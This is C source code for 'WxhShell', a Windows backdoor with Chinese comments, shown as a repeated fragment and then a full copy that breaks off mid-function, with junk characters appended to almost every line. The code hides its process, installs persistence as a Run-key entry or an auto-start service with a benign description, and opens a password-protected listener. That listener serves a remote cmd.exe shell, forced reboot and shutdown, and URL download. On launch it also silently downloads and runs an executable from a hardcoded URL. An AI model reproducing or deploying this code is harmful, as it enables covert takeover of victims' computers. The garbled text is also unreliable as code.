if(!OsIsNt) { fZ*+2T>
// 如果时win9x，隐藏进程并且设置为注册表启动 hRs&t,{&
HideProc(); CCL
StartWxhshell(lpCmdLine); QKr,g
} VzY8rI
else K?BOvDW"`
if(StartFromService()) B]uc<`f
// 以服务方式启动 `[W[H(AjQ
StartServiceCtrlDispatcher(DispatchTable); P*I}yPeb
else EL(nDv
// 普通方式启动 dHv68*^\'
StartWxhshell(lpCmdLine); =~=*&I4Dp
>[_f3;P
return 0; d4?Mi2/jF
} ;i<|9{;
tE)suU5Y
prTw'~(B
P;Ga4Q.
=========================================== Zo g']=
;xzUE`uUfJ
hRK/T7v
kzt(i Y_6
<})2#sZO!
PX<J&rx
" a=hxJ1O
~])t 6i
#include <stdio.h> @Ub"5Fl4
#include <string.h> 80Gn%1A9
#include <windows.h> g7OqX \
#include <winsock2.h> gK[YQXfTy
#include <winsvc.h> px}|Mu7z~
#include <urlmon.h> >_|O1H./4
][?G/*k
#pragma comment (lib, "Ws2_32.lib") Ry%Mej:
#pragma comment (lib, "urlmon.lib") .6`9H 1
"4uS3h2r
#define MAX_USER 100 // 最大客户端连接数 C/TF-g-_Y
#define BUF_SOCK 200 // sock buffer MLRK74D
#define KEY_BUFF 255 // 输入 buffer xwJH(_-
my4giC2a
#define REBOOT 0 // 重启 _OuWB"
#define SHUTDOWN 1 // 关机 Kfh|
:'~Y
#define DEF_PORT 5000 // 监听端口 f;1K5Y
/.Ww6a~
#define REG_LEN 16 // 注册表键长度 r[lF<2&*R
#define SVC_LEN 80 // NT服务名长度 E|6VX4`+
aVK3?y2
// 从dll定义API D"ND+*Q[X
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \E%'Y
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E ,|xJjh
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )6|yb65ZUX
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rL+!tH
]3KhgK%c8
// wxhshell配置信息 XT@-$%u
struct WSCFG { Gu2P\I2zx
int ws_port; // 监听端口 &8l%T'gd
char ws_passstr[REG_LEN]; // 口令 eS<lwA_
int ws_autoins; // 安装标记, 1=yes 0=no @8;W\L$~1
char ws_regname[REG_LEN]; // 注册表键名 /J:bWr
char ws_svcname[REG_LEN]; // 服务名 9Hc$G{[a
char ws_svcdisp[SVC_LEN]; // 服务显示名 $!8-? ?ML
char ws_svcdesc[SVC_LEN]; // 服务描述信息 PDrZY.-
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 =gJb^ Gx(w
int ws_downexe; // 下载执行标记, 1=yes 0=no ,'p2v)p^4
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \H=&`?
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (UU(:/
iy14mh\ ~
}; ?i06f,-
t4-pM1]1_
// default Wxhshell configuration f"u%J/e&
struct WSCFG wscfg={DEF_PORT, k;w- E
"xuhuanlingzhe", .)<(Oj|4
1, rz@=pR :
"Wxhshell", $+>M{fg?
"Wxhshell", WC.t_"@
"WxhShell Service", kX>f^U{j
"Wrsky Windows CmdShell Service", Y0_),OaY
"Please Input Your Password: ", )FpZPdN+h
1, <-,gAk)u
"http://www.wrsky.com/wxhshell.exe", N(y\dL=v
"Wxhshell.exe" q^r#F#*1l
}; 89wU-Aggq
~Uxsn@nLr
// 消息定义模块 uoXAQ6k
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L7VG`h;
char *msg_ws_prompt="\n\r? for help\n\r#>"; \>7^f 3m
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O }(VlR2
char *msg_ws_ext="\n\rExit."; ^V#@QPK9
char *msg_ws_end="\n\rQuit."; lsy?Ac
char *msg_ws_boot="\n\rReboot..."; GQ9\'z#+
char *msg_ws_poff="\n\rShutdown..."; 1$%V{4bJ
char *msg_ws_down="\n\rSave to "; ^sVX)%
76Vl6cPu>
char *msg_ws_err="\n\rErr!"; Er+nk`UR_
char *msg_ws_ok="\n\rOK!"; ,ztI,1"k
?ON-+u
char ExeFile[MAX_PATH]; !-,t'GF(
int nUser = 0; Z| V`B `
HANDLE handles[MAX_USER]; EpFQ|.mQ
int OsIsNt; WC|.g,9#
gMaN)ESqd4
SERVICE_STATUS serviceStatus; ho0@ l
SERVICE_STATUS_HANDLE hServiceStatusHandle; Q)LM-ZJKQ
hED=u/ql[
// 函数声明 <j5NFJ9
int Install(void); Oh'Y0_oB>
int Uninstall(void); %7gkNa
int DownloadFile(char *sURL, SOCKET wsh); R0L&*Bjm
int Boot(int flag); av$/Om:
void HideProc(void); h3Q21D'f
int GetOsVer(void); _h":>
int Wxhshell(SOCKET wsl); DBCK2PlJ
void TalkWithClient(void *cs); Sp^9&^
int CmdShell(SOCKET sock); "V$Bnz\n
int StartFromService(void); w*|7!iM
int StartWxhshell(LPSTR lpCmdLine); uvV;Mlo]
v0YG,)_
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R8T]2?Q1
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bIEhgiH
!X<~-G2)l
// 数据结构和表定义 mGGsB5#w>
SERVICE_TABLE_ENTRY DispatchTable[] = T9u<p=p
{ Hv\-_>}K
{wscfg.ws_svcname, NTServiceMain}, 7?kIVP1r
{NULL, NULL} ;Hj~n+
}; *H.oP
,I_^IitN
// 自我安装 &bp=`=*
int Install(void) e`v`XSA[p
{ ]f_6 '|5A
char svExeFile[MAX_PATH]; W"k8KODOY
HKEY key; jMN[J|us51
strcpy(svExeFile,ExeFile); v0ES;
aN $}?
// 如果是win9x系统，修改注册表设为自启动 '8T=~R6
if(!OsIsNt) { ea00\
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zA!0l*H
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _dJ{j
RegCloseKey(key); ZJ 77[
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *L'>U[Pl7
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jD`d#R
RegCloseKey(key); *r$+&8V\n
return 0; _!?Hu/zo
} Hw-Z
} f4guz
} kr9gK~
else { `UQf2o0%3w
;XDz)`c
// 如果是NT以上系统，安装为系统服务 %bD}m!
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 4|`Bq}sjZf
if (schSCManager!=0) P7x =
{ H_ez'yy
SC_HANDLE schService = CreateService ,+ #6Y_
( l$jxLZ
schSCManager, m~D&gGFt
wscfg.ws_svcname, nYt/U\n!
wscfg.ws_svcdisp, Iy.rqc/86
SERVICE_ALL_ACCESS, -pE(_
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , pOrWg@<\L
SERVICE_AUTO_START, YNBHBK4;
SERVICE_ERROR_NORMAL, ,s_T pq
svExeFile, OHflIeq#@
NULL, H=\!2XS
NULL, )5.C]4jol
NULL, L:k9#6
NULL, &%_& 8DkG
NULL @j4U^"_QB
); Eb=#9f%y>&
if (schService!=0) vQa'S-@u
{ kee|42E
CloseServiceHandle(schService); f7'q-
CloseServiceHandle(schSCManager); a+9*@z2
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AT\qiznvP
strcat(svExeFile,wscfg.ws_svcname); F|HJH"2*&q
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6O22P?v
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \J6hI\/4^
RegCloseKey(key); &V<W>Y>|l*
return 0; 7oR:1DXw|
} yj$TPe_BW
} ,.o<no
CloseServiceHandle(schSCManager); U7DCx=B
} >R2SQA o
} d|*"IFe
wV)}a5+
return 1; \xUe/=
} N*@aDM07
d.2mT?`#
// 自我卸载 vi)%$~
int Uninstall(void) n?:=
{ 3J=Y9 }
HKEY key; dna6QV>A
Bs MuQ|!
if(!OsIsNt) { <soz#}e
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S inl
RegDeleteValue(key,wscfg.ws_regname); ~WpGf,
RegCloseKey(key); n3`&zY
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SgEBh
RegDeleteValue(key,wscfg.ws_regname); x+@&(NMP5
RegCloseKey(key); `+/H^
return 0; wO>L#"X^v
} :SsUdIX;P
} (?*BB3b`
} p<v.Q
else { i#%a-I:M
wfjc/u9W6R
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?~QIALA
if (schSCManager!=0) U5]pi+r
{ t nS+5F
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _7D_72
if (schService!=0) i0s6aAhgJ
{ 2nFy`|aA%
if(DeleteService(schService)!=0) { j2Pn<0U
CloseServiceHandle(schService); 1'4J[S\cM
CloseServiceHandle(schSCManager); e62Dx#IY
return 0; YUdxG/~'
} '&;69`FSe
CloseServiceHandle(schService); TFepxF
} CVi`bO4\
CloseServiceHandle(schSCManager); Ce'pis
} 3},Zlu
} oR*=|B
K$ v"Uk
return 1; ~=Ncp9ej#
} rz(0:vxwA
?v-1zCls
// 从指定url下载文件 K+T.o6+
int DownloadFile(char *sURL, SOCKET wsh) ?'r9"M>
{ 'lS`s(
HRESULT hr; FhIqy %X
char seps[]= "/"; vSW L$Y2
char *token; b59{)u4F
char *file; 3qQUpm+
char myURL[MAX_PATH]; = zl=SLe
char myFILE[MAX_PATH]; {$M;H+Foh
)n=ARDd^e
strcpy(myURL,sURL); ?_`0G/xl
token=strtok(myURL,seps); LjdYsai-
while(token!=NULL) kHJ96G
{ M"_FrIO
file=token; jFerYv&K~
token=strtok(NULL,seps); PVao
} <TNk?df7
^\:2}4Uj_
GetCurrentDirectory(MAX_PATH,myFILE); jvzBh-!
strcat(myFILE, "\\"); * \HRw +cL
strcat(myFILE, file); o;[bJ Z\^x
send(wsh,myFILE,strlen(myFILE),0); [k]|Qink
send(wsh,"...",3,0); nVD Xj
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Yn9j-`
if(hr==S_OK) A.Bk/N1G
return 0; IwpbfZ
else -iCcoA
return 1; &D#+6M&LK{
+[m8c){
} <1&Ke
<3hA!$o~
// 系统电源模块 K<v:-TjQZ:
int Boot(int flag) ,PWj_}|L[
{ *wi}>_\
HANDLE hToken; Q;nAPS
TOKEN_PRIVILEGES tkp; mo1 puU
Icp0A\L@
if(OsIsNt) { :[M[(
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %McO6.M@
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e@F|NCQ.9
tkp.PrivilegeCount = 1; r-w2\2
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 2:$ k
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); uG>nV
if(flag==REBOOT) { S)%_weLW7
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ad!(z[F'Y
return 0; ,M3z!=oIGn
} z#<P}}
else { tiLu75vj
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 'Zk<l#"}
return 0; eSl-9 ^
} 3z{S}~
} F?Or;p5`Y
else { (OQ?<'Qa
if(flag==REBOOT) { sXl ??UGe
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 'nK~'PZ,
return 0; PdY>#Cyh
} v9}[$HWx
else { H]&!'\aUz
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;^l_i4A
return 0; w 7tC|^#G
} =:h3w#_c
} R V!o4"\]
Z{{t^+XG
return 1; `HUf v@5
} ] mj v;C
)u@t.)ChAV
// win9x进程隐藏模块 b"8FlZ$
void HideProc(void) 8U.$FMx :
{ i#,1iVSG
Q2C)tVK+
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /BH.>R4`A
if ( hKernel != NULL ) ~,}s(`~
{ {Iy7.c8S
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =LZ>su
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 7unA"9=[4V
FreeLibrary(hKernel); \iMyo
} +Z?[M1g
6b:DJ
return; ~HP LV
} eX<K5K.B
wsg//Ec]
// 获取操作系统版本 FU@uH U5fd
int GetOsVer(void) :$"7-a%f
{ R'EW7}&
OSVERSIONINFO winfo; U($^E}I2(
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GhnE>d;i
GetVersionEx(&winfo); $P?{O3:V
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o_yRn16
return 1; xQz#i-v
else ^now}u9S6
return 0; A9BxwQU#
} @;9()ad
xbC~C~#
// 客户端句柄模块 Zd>ZY,-5
int Wxhshell(SOCKET wsl) !cCg/
{ ^`&HWp
SOCKET wsh; |t\KsW
struct sockaddr_in client; ci7~KewJ*
DWORD myID; U5rxt^
0]a15
while(nUser<MAX_USER) u~71l)LA
{ 'P/taEi=R
int nSize=sizeof(client); [&n|\!
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;4d.)-<No_
if(wsh==INVALID_SOCKET) return 1; *IlQ5+3I
yv${M u
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0^>E`/
if(handles[nUser]==0) Am7| /
closesocket(wsh); hCLk#_
else TczXHT}G
nUser++; GUCM4jVT^
} %)IrXz>Zh
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); mcMb*?]
Z90Fcp:R
return 0; -HTL5
} zjoo{IH}
,#%SK;1<
// 关闭 socket #5d8?n
void CloseIt(SOCKET wsh) 5}SXYA}
{ ^@ UjQ9[>
closesocket(wsh); <t6d)mJ%
nUser--; m9g^ -X
ExitThread(0); =n }Yqny
} W}k[slqZA
~\bHfiIDy
// 客户端请求句柄 Fhi5LhWe+.
void TalkWithClient(void *cs) *'^:S#=
{ 7S2c|U4IM
N K"%DU<
SOCKET wsh=(SOCKET)cs; l-=e62I{=|
char pwd[SVC_LEN]; E<a.LW@
char cmd[KEY_BUFF]; (qk5f`O
char chr[1]; F25<+1kr
int i,j; sVD([`Nmc
j}RM.C\7
while (nUser < MAX_USER) { -t b;igv
tD^a5qPh
if(wscfg.ws_passstr) { ^HoJ.oC/
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /T#o<D
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gDc]^K4>
//ZeroMemory(pwd,KEY_BUFF); %9YA^ri
i=0; (lWKy9eTy`
while(i<SVC_LEN) { 1?]J;9p
2_Jb9:/X
// 设置超时 DD6'M U4
fd_set FdRead; A xR\ned
struct timeval TimeOut; &u4Ve8#
FD_ZERO(&FdRead); z{V8@q/
FD_SET(wsh,&FdRead); PE7t_iSV
TimeOut.tv_sec=8; >!G5]?taa
TimeOut.tv_usec=0; E$&;]a
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .)nCOwR6p
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;l#?SYY
(T2<!&0 @
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dff#{
pwd=chr[0]; :9O|l)N)W=
if(chr[0]==0xd || chr[0]==0xa) { `0[fLEm
pwd=0; SJF2k[da
break; tQCj)Ms'X
} Z0z)
i++; L]a|vp
} %SFw~%@3&~
}(rzH}X@
// 如果是非法用户，关闭 socket j~Ff/O
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tpd|y|
} x6~Fb~aP
#m_\1&g
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); t3M0La&
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `;T?9n
td`wNy\
while(1) { cG5$lB
]:Wb1
ZeroMemory(cmd,KEY_BUFF); R=QM;
0YHYxn
// 自动支持客户端 telnet标准 3dY6;/s
j=0; p\)h",RkA
while(j<KEY_BUFF) { @nW'(x(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5Wj5IS/
cmd[j]=chr[0]; }cyq'mi
if(chr[0]==0xa || chr[0]==0xd) { r}Q@VS%%
cmd[j]=0; OC`QD5
break; Q9nu"x %
} 6pe4Ni7I2
j++; hiT9H5 6>
} w`"W3(
(''$'5~
// 下载文件 MQhYJ01i
if(strstr(cmd,"http://")) { bwT"$Ee
send(wsh,msg_ws_down,strlen(msg_ws_down),0); WoJ]@Me8
if(DownloadFile(cmd,wsh)) kv[OW"8t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Psg +\14
else N/`g?B[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o(BYT9|.kw
} Rf&^th}TH
else { baA HP"
mn,=V[f
switch(cmd[0]) { #`2GAM];7
7Ljs4>%l9j
// 帮助 chMt5L+5
case '?': { 69[w/\
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `z5v}T
break; #=>kw^5
} vs*_;vx
// 安装 A/r;;S)%2
case 'i': { F&-5&'6G+
if(Install()) gDgP;id
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CA'hvXb.
else ZD iW72&Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %pQdq[J={
break; V:$[~)k8
} AJdlqbd'+
// 卸载 ^S>!kt7io
case 'r': { eo-XqiJ,]
if(Uninstall()) u_$6LEp-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zkw0jX~
else tVK?VNW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !hpTyO+%
break; *T1L)Cp
} 9$}+-Z
// 显示 wxhshell 所在路径 k B$lkl\C
case 'p': { WllCcD1
char svExeFile[MAX_PATH]; Zm?G'06
strcpy(svExeFile,"\n\r"); JT}dor
strcat(svExeFile,ExeFile); OqUE4.vIP
send(wsh,svExeFile,strlen(svExeFile),0); :z}~U3,JE
break; K.c6Rg
} Fvcq^uZ
// 重启 >V77X+!
case 'b': { ,5%aP%
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V1AEjh
if(Boot(REBOOT)) 4{1c7g
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GZ-n! ^
else { aa'0EU:
closesocket(wsh); (*c`<|)
ExitThread(0); -#:Y+"'
} !^Qb[ev
break; |O #wdnYW
} +Uc&%Px
// 关机 \ltErd-
case 'd': { L.R\]+$U2
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); C[HE4xF6
if(Boot(SHUTDOWN)) VbY>l' rY
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =iPd@f"$
else { rYP8V >
closesocket(wsh); u/K)y:ZZ
ExitThread(0); BBZ)H6TzL
} cviN$oL
break; '{1W)X
} cPa 0n4
// 获取shell yBD.Cs@
case 's': { ?`BED6$`G9
CmdShell(wsh); Yn?2,^?N
closesocket(wsh); 3w6JV+?
ExitThread(0); `"1{Sx.
break; C=pPI
} ()rx>?x5
// 退出 rA&#>R`
case 'x': { $e^ :d
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M2;(+8 b
CloseIt(wsh); J,&`iL-
break; ) J:'5hz
} Uzm[e%/`
// 离开 EUYa =-
case 'q': { lFzQG:k@
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3IRRFIiO
closesocket(wsh); cC(ubUR
WSACleanup(); B "s8i{Vm
exit(1); @[Jt~v
break; Xk7$?8r4&
} 1&>nL`E[3
} ~6Ee=NaLzP
} _mq*j^u,j
jwtXI\@MS
// 提示信息 Rqd%#v
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +{ ,w#@
} a5Acqa
} U+3PqWB
xN":2qy#T
return; 'AlSq:gZ
} n!EH>'T
3:CQMZ|;@
// shell模块句柄 &t=>:C$1Y
int CmdShell(SOCKET sock) =G3J.S*Riy
{ 1V?Sj
STARTUPINFO si; 6DiA2'{f
ZeroMemory(&si,sizeof(si)); D2wgSrY
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; `'tw5}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O7#}8-@}<u
PROCESS_INFORMATION ProcessInfo; bQnwi?2
char cmdline[]="cmd"; th>yi)m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;V}FbWz^v6
return 0; * y"GgI
} Ar{=gENn
86) 3XE[5
// 自身启动模式 S0o,)`ZB
int StartFromService(void) ]mGsNQ ].H
{ 'c+qBSDA
typedef struct XC8z|A-@
{ /x"pj3
DWORD ExitStatus; }C2i#;b
DWORD PebBaseAddress; ne%OTr4dD
DWORD AffinityMask; >c'_xa?^G
DWORD BasePriority; \~1zAiSd>#
ULONG UniqueProcessId; *#{.\R-D
ULONG InheritedFromUniqueProcessId; "1j\ZCXK_Z
} PROCESS_BASIC_INFORMATION; )9sr,3w
2|_Jup
PROCNTQSIP NtQueryInformationProcess; K+TTYQ
1Mhc1MU
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &Bdt+OQ ;
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YF[!Hpzq
b<H6D}
HANDLE hProcess; jU9zCMyNF
PROCESS_BASIC_INFORMATION pbi; }_D5, k
Iy 8E$B;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); b-=[(]_$h
if(NULL == hInst ) return 0; 0 VgnN
jKi*3-&
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); e hB1`%@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .$x[!fuuR&
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <OO/Tn'a
oG_'<5Bv>
if (!NtQueryInformationProcess) return 0; $@f3=NJ4k
rp[oH=&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $T%<'=u|E
if(!hProcess) return 0; zSM7x
m$UT4,Ol
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Q Fqv,B\<
})u}PQ
CloseHandle(hProcess); es(LE/`e
";Xbr;N
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0FR%<u
if(hProcess==NULL) return 0; ).`a-Pv
RxeRO2
HMODULE hMod; zinl.8Uk
char procName[255]; *9:6t6x
unsigned long cbNeeded; vi.AzO
D]`B;aE>A*
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bb_jD^
OcS`Fxs
CloseHandle(hProcess); t>`LO
|JQP7z6j]
if(strstr(procName,"services")) return 1; // 以服务启动 pnw4QQ9
:XY3TI
return 0; // 注册表启动 (C_o^_I:
} Pds*M?&F
$0C/S5b
// 主模块 r[4F?W
int StartWxhshell(LPSTR lpCmdLine) `1v!sSR0R
{ KX}dn:;(3
SOCKET wsl; ZV^J5wYE
BOOL val=TRUE; Fmle|
int port=0; MifgRUe
struct sockaddr_in door; HNyDWD)_
>2{HH\
if(wscfg.ws_autoins) Install(); +rw3.d
`Qk R
port=atoi(lpCmdLine); !eoec2h#5
v#2qwd3x
if(port<=0) port=wscfg.ws_port; (_5+`YsV
!3v"7l{LF
WSADATA data; d<m>H$\Dm
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4<>:]
'>3RZ&O
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; zLK ~i>aW
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~\IDg/9Cj
door.sin_family = AF_INET; aC]l({-0
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sqt"G6<
door.sin_port = htons(port); 3E@&wpj
3Qr!?=nf
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &rWJg6/
closesocket(wsl); &Gwh<%=U
return 1; l"!;Vkg.5
} qNVw+U;2P
uvM88#
if(listen(wsl,2) == INVALID_SOCKET) { `B0*/ml
closesocket(wsl); DL!s)5!M
return 1; LZ]pyoi
} 07Cuoqt2
Wxhshell(wsl); zate%y
WSACleanup(); zO]dQ$r\Z
Q&a<9e&
return 0; d~$t{46
F5q1VEe
} OHvzK8
?0&>?-?
// 以NT服务方式启动 rzj'!~>U
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kYa' ] m
{ HliY
DWORD status = 0; =gyK*F(RK
DWORD specificError = 0xfffffff; /7)G"qG~F~
7+-}8&syu
serviceStatus.dwServiceType = SERVICE_WIN32; Rp9iX~A`e
serviceStatus.dwCurrentState = SERVICE_START_PENDING; S60`'!y
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9h=WWu',
serviceStatus.dwWin32ExitCode = 0; F RUt}*
serviceStatus.dwServiceSpecificExitCode = 0; Dv{AZyqe
serviceStatus.dwCheckPoint = 0; l7um9@[4
serviceStatus.dwWaitHint = 0; ;.a)r
8rNxd=!
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b4PK
if (hServiceStatusHandle==0) return; "n-xsAG
MT gEq
status = GetLastError(); }`]^LFU5
if (status!=NO_ERROR) $&C%C\(>D
{ @V u[Tg}J
serviceStatus.dwCurrentState = SERVICE_STOPPED; `<Nc Y*
serviceStatus.dwCheckPoint = 0; x;aZ&
serviceStatus.dwWaitHint = 0; 3Ab$
serviceStatus.dwWin32ExitCode = status; J>v>6OC6i
serviceStatus.dwServiceSpecificExitCode = specificError; u8=|{)yL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4"=pcHNV
return; I2Q?7p
} zwHsdB=v
g8yZc}4
serviceStatus.dwCurrentState = SERVICE_RUNNING; \MPy"uC
serviceStatus.dwCheckPoint = 0; Ms3/P|{"p
serviceStatus.dwWaitHint = 0; ]F#kM211
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xB[# a*
} q=(wK&
<#`L&w.
// 处理NT服务事件，比如：启动、停止 @gk[sQ\O
VOID WINAPI NTServiceHandler(DWORD fdwControl) x7>sy,c
{ 5G[^ah<Tg
switch(fdwControl) AkC\CdmA
{ pDfF'jt9
case SERVICE_CONTROL_STOP: 4TV9t"Dk+c
serviceStatus.dwWin32ExitCode = 0; =T6\kz9)`
serviceStatus.dwCurrentState = SERVICE_STOPPED; zqn*DbT
serviceStatus.dwCheckPoint = 0; .YbD.{]D
serviceStatus.dwWaitHint = 0; Jt][b
{ pqX=l%{4ES
SetServiceStatus(hServiceStatusHandle, &serviceStatus); p]HtJt|]
} ~8E rl3=5{
return; VgL<uxq
case SERVICE_CONTROL_PAUSE: r]{:{Z
serviceStatus.dwCurrentState = SERVICE_PAUSED; lPP7w`[PA
break; Ok\UIi~
case SERVICE_CONTROL_CONTINUE: wEyh;ID3#
serviceStatus.dwCurrentState = SERVICE_RUNNING; [c~zO+x
break; Ado>)c"*y1
case SERVICE_CONTROL_INTERROGATE: !).dc.P
break; wDzS<mm
}; s3S73fNOk
SetServiceStatus(hServiceStatusHandle, &serviceStatus); LdV_7)
} <jjaqDSmz
K;O\Pd
// 标准应用程序主函数 y6\#{
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qr1^i1%\
{ BZsxf'eN'
e9nuQ\=
// 获取操作系统版本 [;+YO)
OsIsNt=GetOsVer(); xNU}uW>>T
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0jMrL\>C
Ft7l/
// 从命令行安装 DoA f,9|_
if(strpbrk(lpCmdLine,"iI")) Install(); IFe[3mB5
-#h \8Xl
// 下载执行文件 eS M!_2
if(wscfg.ws_downexe) { n$9!G
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kQtl&{;k?
WinExec(wscfg.ws_filenam,SW_HIDE); _Yv9u'q"
} J<D =\
3@SfCG&|e
if(!OsIsNt) { yuWrU<Kw
// 如果时win9x，隐藏进程并且设置为注册表启动 bK7DGw`1
HideProc(); NaIVKo
StartWxhshell(lpCmdLine); 3dfSu'
} +{&g|V
else L[efiiLh$
if(StartFromService()) p*G_$"KpP
// 以服务方式启动 '=xl}v
